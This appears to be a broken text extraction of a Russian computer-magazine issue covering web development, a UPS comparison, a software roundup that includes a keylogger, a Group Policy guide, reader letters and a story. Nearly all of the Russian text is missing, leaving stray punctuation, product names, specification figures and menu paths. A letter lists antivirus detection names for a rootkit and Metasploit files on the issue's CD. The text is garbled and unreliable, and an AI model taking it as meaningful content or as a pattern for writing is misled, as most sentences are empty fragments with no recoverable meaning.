.
, .
,
.
: . ,
: ,
.
( ) web. , ,
.
, .



1995 ,
web.

,

. : www.forceteam.ru,
www.realstory.ru
www.shopexpert.ru
(
).

7 0

S P E C I A L

D E L I V E R Y

0 6

6 7

, , . , , .
, . , (IT-, PR). , .
, . , , 100% . , , , ,
?!

: ?

?
?

: :). , , : visibility + usability = . , , . , , , . ,


, . , . ,
, .
: .
. , ,
, . , , dataflow- .. , .
: . , .
: - ,
. , , , . , .
: . , ,
, CMS - . : , .
: . ( ), . ,
, , .
: / . ,
. , , , . . , , , , .
.
: , . , , , . , ,
. , .
.
: , -! - .
, . , . -,
,
, .. ,
, ,
, ( ) . ? , (
), :
, - ..
, Web

15% ,

,


1
2

3
:
:

subscribe@glc.ru;

: (495) 780-88-24;
: 119021, , . , . 11, . 44-45,
, .
!
.
, ,
5 .
, ,
20 .
.
,
. ,
, .

: - (495) 500-00-60 www.interpochta.ru
,
, , ,
.



+ CD

6
12
900 . 00 .
1740 . 00 .


+
+

6
12
2550 . 00 .
5040 . 00 .
:
+ CD
+ +


200 .


( . )
*
( )

...

:

/
(
)
e-mail

* .

.

, ,
: 780-88-29 ( )
8-800-200-3-999 ( , ,
).
: info@glc.ru

S P E C I A L

D E L I V E R Y

0 6

6 7

F A

7 2




Defa Gruppe

.
?


, . ,
:), CMS ( ),
.
,
CMS
. : Joomla (http://joomla.org), Drupal (http://drupal.ru), WordPress (http://mywordpress.ru). ,
. ,
Drupal WordPress.
, -
, phpBB,
:).
CMS,
: , PHP, . PHPClub (http://phpclub.ru),
-
?, , , ,

, .
!
WEB-?

, . PHP : ,
. - (http://dklab.ru), <?php echo Hello World!
?>, . - , , , , -
, . Web- , . ,
- .
, . Web 2.0 ,
XXI , .
...
OLD SCHOOL
NEW SCHOOL ?

, -

Strict target
,
JavaScript
- , JavaScript. , JavaScript-
fValidate alt input. HTML ,
!
DTD
, . ,
,
, .
RUBY ON RAILS

7 3

- , . Web 2.0
. web , , - .
, Web 2.0

.
,
Web 2.0. , .
, Web 2.0 , , .

.
, , ,
, .

, XML, , , .
:
, ..
. HTML
, ,
, .

.
,
.
HTML-. ?

, . , -:
, , , . ,
Macromedia Dreamweaver, . , , XHTML

web, Ruby On Rails ( ROR).


Ruby On Rails
web- Ruby, , . ( ),
15 . ,
. .
Ruby PHP,
: Ruby
- , PHP

. , ROR
. PHP- ,
SQL-,
.. , - Ruby-, .

, ,
.
collocation. , , , , ,
. ,
ROR,
.
WEB 2.0?

Web 2.0
OReilly Media MediaLive International. -

WEB 2.0
. ? ?

.
, web-
:
mail.ru gmail.com.
, , .
, , , . !
, .
. , ,
. Word
, Writely (
) .
.
, . , .
. ,
JavaScript
, . , ,
, . , ?
. , , .
, , ,
Web 2.0, .
Windows, , Microsoft. .
Writely,
. , .

hard

! !
! !

- . ,
, , , , .
. , ,
, - , ,
?
, !
! , ,
. ,
,
Windows.
, , , , . : $100.
. , . -,
. , . ,
. ,
, , , ,
UPS. -, . , , USB,
RS-232. -, . ,

LAN, .
, ,
. , ,
, . , , ,
, ?
UPS - , , .
. , . , , . 19- - Samsung. , , PCMark 2005
WinAmp ( ),
UPS.
, .
() . , , UPS ( ).
,
, .

Riello PDG 600


Ippon Back Comfo Pro 800
Ippon Smart Power Pro 1000
Lighthouse Pro 1000
Riello WinDialog 65 Plus
MGE Ellipse 600
SVEN Pro 800
Powercom Imperial 625A
Lighthouse Base 600
160

165

170

175

180

185

190

195

200

205

210

215

75 |

, : 2, AMD Athlon XP 2400+


: JetWay n2View (nVidia nForce 2 IGP)
, : 512, DDR333 SEC
, : 128, MSI GeForce Ti4200
RW
: ASUS CD-R
, : 350, PowerMan
: 19" Samsung SyncMaster 930BF

Ippon Back
Comfo Pro 800
($90)

, : 800
, : 3
, : 3
232
: USB, RS-2
:
/
, : 2
, : 300124210
, : 7

.

,
.
, . (
-

Lighthouse
Base 600
($45)

, : 600
, : 3
, :
232
: RS-2
:
/
, : 2
, : 9535417
, : 6

. ,
UPS ,
.
,
-,
.

)
,
,
. .

,
, .
,
, ,
,
.

RS-232,
USB.
.
(
). Ethernet.


,
RS-232.
,


.
.

COM-. . LAN. ,
(
).
. , , ,
- .
.

Ippon Smart Power Pro 1000


SVEN Pro 800
Lighthouse Pro 1000
Ippon Back Comfo Pro 800
Riello WinDialog 65 Plus
Riello PDG 600
Powercom Imperial 625A
MGE Ellipse 600
Lighthouse Base 600
0:00:00

4:48:00

9:36:00

14:24:00

19:12:00

24:00:00

28:48:00

76 |

Riello PDG 600


($75)

, : 550
, : 3
, : 1
: USB
:
/
, : 3
, : 88x122x322
, : 3,3

. ,
,
UPS,
. ,

, .

. ,
,

220 179 .

.

USB.
,
,

.
,
, ,


. .
. LAN-.

($85)

, : 650
, : 3
, :
232
: RS-2
:
/
, : 3
, : 152x110x235
, : 7

. ,
, Riello WinDialog 65 Plus ,
:
,
10 .


UPS
.

, .
, . ,
Riello PDG 600,
.
. RS-232, USB
. LAN. , .

.
, . ,

Powercom
Imperial 625A
($80)

, : 625
, : 3
, : 2
: USB
:
/
, : 3
, : 105x334x168
, : 7.4

.
- , .

Lighthouse
Pro 1000
($100)

, : 1000
, : 6
, :
: USB
:
/
, : 4
, : 147x360x234
, : 13

.

, , , ,
. , ,
Ippon, -

, -: , ,
USB. .
.
.
,
.
. AVR, , . LAN-.

, .
/.
(,
) ,
USB . AVR
, , .
.
,
,
.
,
, Ippon Smart
Power Pro 1000.
LAN ,
.

77 |

Riello WinDialog
65 Plus

78 |

Ippon Smart
Power Pro 1000
($100)

, : 1000
, : 4
, :
232
: USB, RS-2
:
/
, : 6
, : 368140180
, : 15

. ,

, .
c


.
.
:

25 , - ,


! , (
Counter
Strike!).
.
. ( ).

-

,
. ,
( ) .

,


.
. LAN. , . .

($95)

, : 600
, : 3
, : 1
:
: /
, : 4
, : 22116778
, : 4

.
,
.
, .
/
, ,
,
( , ,
).


,

.
,
COM
USB (
).

, ,
AVR
:
,
.

,
.
. $100,
UPS,
.
LAN.

c :
, .

,

,
WINDOWS
Sven Pro 800
($90)

, : 800
, : 3
, :
232
: RS-2
:
/
, : 2
, : 122141398
, : 8.5

. ,

, SVEN . ,
.

(21 )
- .
,
, .

.
. ,

,
.
(),
RS-232 (, USB ).
, ,
, .
.
LAN- . AVR .
: , .

Test_lab
:
(.(495)689-86-03, www.lighthouseups.ru), (www.merlion.ru), Nevada
(www.nevada.ru), Erimex (.(495)232-06-86, www.erimex.ru),
MGE.

: , ,
,
. . - , - .
, : -

IPPON SMART POWER PRO 1000 . ( ),


. RIELLO
PDG 600.

79 |

MGE Ellipse 600

soft
n o n a m e

NNM.RU
D O C @ N N M . R U

Flaming Pear Flexify v2.02


Photoshop ,
. , .

Gmetal Guikit Windows XP


:

GMETAL;
OBJECTBAR;
STYLER TOOLBAR;
FIREFOX;
ITUNES;
VLC;
ADIUM MIRANDA;
SHELLWM;
VANIM.

Niqu
OSX Rick Patrick,
Gmetal mod
OSX DigitalJames.

Windows Kavin.

EscapeClose Pro 2.0



EscapeClose Pro

<Esc> ,
.
,
<Alt>+<Tab>
<Ctrl>+<Alt>+<Del>. , ( ), , ..

BearShare Pro 5.2.3.10

FastStone Image Viewer 2.6 Beta 2


,
. , JPEG, JPEG 2000,
GIF, PNG, PCX, TIFF, WMF, BMP, ICO, RAW
TGA. ,
. , , ,
.. ..
150-
,
,
ZOOM, ,
.. ,

,
,
.


Gnutella.
, , MPEG, AVI,
JPEG, GIF.

Copy DVD Gold 2.12


Copy DVD Gold
DVD-.
DVD
,
. Copy
DVD Gold -/DVD- ( , CopyToDVD).

Advanced RAR Password


Recovery (ARPR)
Advanced RAR Password Recovery (ARPR) ,
RAR WinRAR.
, -
. ,
. ARPR ,
Pentium III Pentium IV.

Perfect
Keylogger 1.6.2
,

,
?
,
Perfect Keylogger

. ,
e-mail
FTP.

. :
, . Perfect Keylogger
, , , NOD32.
! Perfect Keylogger ( ).

htm2chm 3.0.9.3

- .chm- (
MS Windows)
html-, ,
.

LimeWire Pro 4.11.0.1.Final


EVEREST Ultimate
2.80.577 Beta

. AIDA32.


LimeWire,

. Gnutella, LimeWire
,
.

Fetch Text URL 1.6


Firefox
, , . 20-
addons.mozilla.org. Must have
,

Firefox.


, , Opera,

.

PDF

Remote Administrtor 3.0 Beta 1



RAdmin. , ,
Trial (90 ).

PDF. ,
,

,
. ,
?
, Acrobat Reader
,
? ...
.
PDF Image Extraction Wizard
( 745 ), .
: (
wizard)
Back Next.

81 |

Stardock ObjectDock Plus v1.3


o
Mac OS: o, , . o
o . ,
( Windows), : , , . ,
, .
, ,
,
.

soft

.

, .
. ,
.
. Internet Explorer GPO Edit User Configuration Windows Settings Internet Explorer Maintenance Connection Proxy Settings,
-.
, .
web-,
. , -
, www.rambler.ru.
URLs Important URL, Home URLs
http://www.rambler.ru. IE , . IE
explorer'a User Configuration
Administrative Templates Internet Explorer.

--
IE explorera, User Configuration Administrative Templates In
ternet Explorer Internet Control Panel.
IE explorer'a.
,
User Configuration Administrative Templates Internet Explorer
Disable changing home page settings. IE explorer'a
.
, Internet Explorer . .
: , , , . , GPO
. , IE-explorer'a -

( S A N P R I H @ M A I L . R U )

83 |

, . ( Default Domain Policy): Default Domain Policy User Configuration Administrative Templates Windows Components Internet Explorer Internet
Control Panel. ,
gpupdate.
, OU . .
.
,
.
OU . OU .
! OU . , - .
,
, . ,
,
IE
,
.
,
. ,
. ( : ), ,
. , - . , , . . .
Group
Policy Object Editor User Configuration Administrative Templates Desktop
Hide My Network Places Icons on Desktop Enabled. , , !
 .
: Group Policy Object Editor User Configuration Administrative Templates Windows Components Windows Explorer:
Remove "Map Network Drive" and "Disconnect Network Drive" Enabled;
Remove Search button from Windows Explorer Enabled;
No Computers Near Me in My Network Places Enabled;
No "Entire Network" in My Network Places Enabled;
.
:
  \\xak\Music ( Music
, ). , , , .
Group Policy Object Editor User Configuration Administrative Templates> Start Menu and Taskbar:
Remove Network Connection from Start Menu Enabled;
Remove Search menu from Start Menu Enabled;

Remove Run menu from Start Menu Enabled;
Remove My Network Places icons from Start Menu
OU
Enabled;

. ,
.
Group Policy Object Editor User Configuration Administrative Templates
Control Panel:
Prohibit access to the Control Panel Enabled.
(cmd):

84 |

. ,
.
, , . .
, .
. , :\ Windows\System32 , control.exe. ,
.
.
,  .
, : . , cmd :\ Windows\System32
.
-
, .

Group Policy Object Editor User Configuration Administrative Templates System:



Prevent access to the command prompt Enabled.

- , ,
.
"gpupdate /force"

, . !
. , : , , . -
(OU).
, OU OU
.
Group Policy Management OU , OU .
GPO .
,
, OU
OU .
, .
OU OU .

OU , , , . !
. : ,
.

,
gpresult , ,
. , . .
, .
.

85 |

,
OU
OU GPO . , - , , . .

,
, , . .
.
, OU.
. . -, . ,

.
Group Policy Modeling

Group Policy Results Group Policy Management.

crew
e -
! SPEC@REAL.XAKEP.RU

S K Y W R I T E R

la2c4.560@mail.ru

netsphere@yandex.ru

, !!!
. :
1) : ( :
?);
2) 76- ?;
3) (
, );
4) !!! #@.

re

, -!
,
, .
,
, .
, ( ), . , - - ,
, .
, , , , .
:(.
, . , , . : ,
. !
, ,
,
, .

.
, .

, !
...
?
.. , . ,
? . ,
, Pinball...
- .
, !
? ?
, .
!
... , , . , -,
. .
. . ,
, :
binladen@rocks.ir, - ... .. 10-15- ,
, . , , . Pinball , ..
, , . !

druve@yandex.ru

, . ... , .
, Total Commandere . . ,
.
. !

!
.
, , ... ,
. , .
Desktop.ini, ,
, .
, , , , Explorer
. :).
!


(, ?): . 307 , . 309. ;)
- :
! ,
! 5 !
-.
, !

hothack@tut.by

vasin@gameland.ru

aka HotHack

!!! ,

, !
, CD- . ( ). ?!
Backdoor.Win32.NTRootkit.044 _:\Software\Bonus\NTPlus\rk.zip
Exploit.Linux.Veribau.a
_:\Software\Tools\Metasploit\framework-2.5.tar.gz framework-2.5.exe.
, ,
, ! , ?! , , , , ?!
, !
, !
! , CD-. , ,
! .
,
, CD .
, . ! -
.
,
, , ! , . , , .

, , , , ...
.
,
... ,

, , . , :).

no@such.email.ru

,
.
.
- , , .
.
.
. , .
!
, , ! , . ,
: , , ,
. !
,
. , !
. !

, (!) . , .
. , , ,
..
, ,
- (, .
SkyWritera)!!!

re

, !
. , , , .
, -, , ,
, -, :-).
, , .
! ?! , ?!

?!
, !
!
.

poijh_ilia@mail.ru

:
! !
!
, .

.
, ?
, , ,
, ,
, , - .
, ,
. , ,
. , ,
.
, , .
, , , , . !

re

!
, .
. .
- , .
10 ,
, ! .. , . . 2 3-4
.

87 |

re

story
t h e s h o w m u s t g o o n
. - , . ,
, ,

, , , . ,
, ,
, , - .
, . :
, .
,
, ,
, .
, , - .
, . , , . ,
? ...
.

, ,
. ... .
, .
, .
, . , ,
. -

... ,
,
, .
, , .
, .
.
, . . ,
, .
, ,
.
?! ,
, . , - ? ?
- ? , , ? , . ? .
, :
, .
, . ,
( ),
( ), .
.
, ? .
, , . .
, .
,
. , , , ... -... , . , , , .
, , ,
... -, ,
. ... , , ,
. ? -

89 |

90 |

. . , ... , .
. - ...
! , .
- - !
, ,
. ,
.
, . . .
, . . , .
, , .
, .
,
. ,
. , ,
,
. , , , , ,
.
.
,
, .
. ,
, . , , ?
, , ,
. , , , .
, ? . , , , ,
.
, , ,
. ,
.
, , -
, (
, ).
- .
, ,
. , , -, . , , . , , .
, . , , .
...
? . . !
, ,
(,
, -
). . , , . .




, .
...
, . , .
, :
. , , .

,
-, .
, .
, . , :
.
. .
, , .
, !
, . ,
. , , , , , ,
, - . , , .
. .
- , , , . : - .
- .
, ,
,
. ,
, . ,
, . , ,
. ,
.
, , . . , .
, . . , , , ? , , , ? .
. , ... - - . , , .
. . , .
, , ,
, -
...
,
. ,
, .
, ,
.
, , - . , ,
. ? . ? , !
- , , . , : , , ,
, ,
- , .
,
, ,
, . ,
.
, , ,
. ,
, , . .
, .
.
, ! . ! !
. , . - . , . , , , -

, , ...
, . , .
, .
.
, , , ,
, -
. , ,
. , , . ,
.
, ,
. , . .
.
, . , -
,
.
,
.
, . , . ,
, , .
, , , . , .
. .
.
, .
...
, . , - ,
. .
.
!.. !..
.
. - ...
- . - ...
!..
...
, . .
, , . , ,
.
, . . .
: ,
. ,
.
, .
? . , .
. - ,
, .

, . .
, .
...
, . .
. ...
. , , . . : . , , . , .
, .
:
. . ?

. ,
, .
. , .
, . , , ,
.

, .
, , ,
, .
,
, . .
,
.
.
, , . .
?
.
! !
, , ...
?
, ,
.
, ... . , ?!
, . , ... , ...
. .
, . , . . ?
. . , . :
, . , . . .
, . , ...
. .
, .
. ,
, , . : , ,
, . , , .
. , . ,
, .
? ? ? ?
. . , ? !
, . , - ,
.
? . . ,
. - .
. . ,
.
, . , , .
, . . , , .
, , ,
. ! ,
. ,
, . ,
.

91 |

. , , , ,
, .
, , .
. . .

92 |

.
. . . .
. , , .
. , ,
, , , . ...
. , , .
... . . -, .
? ?
, .
. , ,
. - , , , . . , ,
. , .
... ?
, .
, , . : , . . , . , - , .



, , , ,
, , , . ,
.
,
. , , , - , . , ,
, , . , ,
. .
, . . , - ... .
.
-
. -
.
, . ,
: ,
. ( )
.
? . , -

,

. , ,
: , . .
... . . . .
.
, . -
. ,
...
! , , .

! !
. , , . , , , ,
, .
- . , , . , .
, , ... ,
. ,
?
. .
?
, . ,
. - ... ?
?
.
?
.
. ,
. ,
, .
, . ,
.
. , -
, .
, .

, . . , .
, . . , , , .
.
,
, . ,
, , .
,
.
. , , , -
.
. , , . , -, , . , .
, , .
, , .
.
. , , ,

. ,
,
.

, , .
.
.
: , . ,
( ) .
, , .
. .
. ,
, .
, .
, -

. .
, . , , , .
.
, ,
.
, ,
. - ,
, ,
( ).
...
.
, . ?
,
. , .
, , ...
. ,
. ( ) , , :
, . , .
, , ?
. .
. , ,
.
, .
, ...
!!! ,
:
. !
, - .
, , , . , .
, - .
, , - .
, , ,
. , ,
...
. ,
. , ,
. , . ,
. , ...



... , , .
, - , ...
, ,
. ,
( , !).
, .
:
, ...

93 |

. ,
. ,
, . , .
, , .
, ,
. . . .
. . .
. . , . ,
.
. , . .
.
: , , -, . . , ?
, ,
.
, . -, , .
. .
- . , ,
.
.
, , . , . , ,
, , ,
, . :
, , ... ...
. , . , ,
, . ,
, .
. . , , , . ,
.
, , : -. - , . - . , , .
, ,
. . , .
, , ,
, - -. , , .
,
.
, . .
...
, , - .
, . , , , . , , .
, . , , - . ,
. .
.
, : ,
, .
, .
. ?
, . !
. ,
.

94 |

.
, , - .
, , ,
.
. ...
, - ,
, , , ,
. , .
, . ,
. , , .
, .
... ... ... , .
. .
, ,
. ...
. ,
. , ,
. ,
. , ?..
. , , ,
.
: ,
.
. ,
. ,
...
. ,
, .
- ...
, ,
... , ,
,
, .
. .
. , , - :
, , - , , ...
...
. ,
( ), :
, .
, . .
...
... !, , .
, ,
.
. , , . , .
. ,
...


-
...
, , : , , ( ),
. , - .
.
, ,
, . .

, , , . , , . .
, , . . ,
- ,
.
, .
...
, . . .
, .
.
. , .
... , . .
, .
, ... . . . .
:
...
, , , , , , :
, , ...
. ,
. : .
, , , . ...
, ,
,
. ,
, , .
-
-, .
, - .
, ,
.
, , , . . .
, ,
, , , .
, . ,
. , , , .
, : .
, , .

, ,
. , . ,
, .
.
.
. ,
. .
, .
! , (
). ! ! ... !
- ,
. ?! , , .
, ... . ... .
-... , . ,
, ?!


,
,

! : , , ...
-! ( , .) , ... . !
! -.., . ... ... ...
. , , .
... ... ,
. , .
, , ... , . ...
. ... ...
- ,
. ,
.
.
! , ...
, , , - .
, .
- .

.
,
. .
,
,
,
.
,
.
, .

, . , ,
, .

.
- ,
.
.
:
? .

-

.
, . , , , , .
, , .
, .
. .
.
,
. , -... .
. ? ?
?
.
! , ,
. ...
,
.
. ,
,
.
-
, , .
? ,
.
, . ,
. , . , ... , ...
, , .
...
, . .
,
. ?
, ... - ...
... , , . ,
?
, -2.
:
. , show must go on...
... -2 .

95 |

, ,
. ...
.
. ...
...
, .
. . , ! ,
... (, )... ! ,
... ...
, , .

, () ,
, (
).
-, :
, , , .
, ,
, (, ). , -
( ), , . ?
, (
) , . ,
, ( ).
,
, ,
- ,
,
. .
, , , - , :
, , ?
, , , ? ? ..
, - .
( , , : , , . ,
, ,
.)
3D-
(). , , , ,
. ( ,
, ,
, .)
,
, , ,

( ),
( ). ?
, . , ?
, , . ! , (,
, ), ,
, ! , ,
, , .
, ,
. ,

?
, :

- (-) ? ,
, , , , . , -
, , ,
.
, ,
.

( ), .
, , ,
.

, , . ! .
(
-!), ?
, - .
, -
.
, ?

You might also like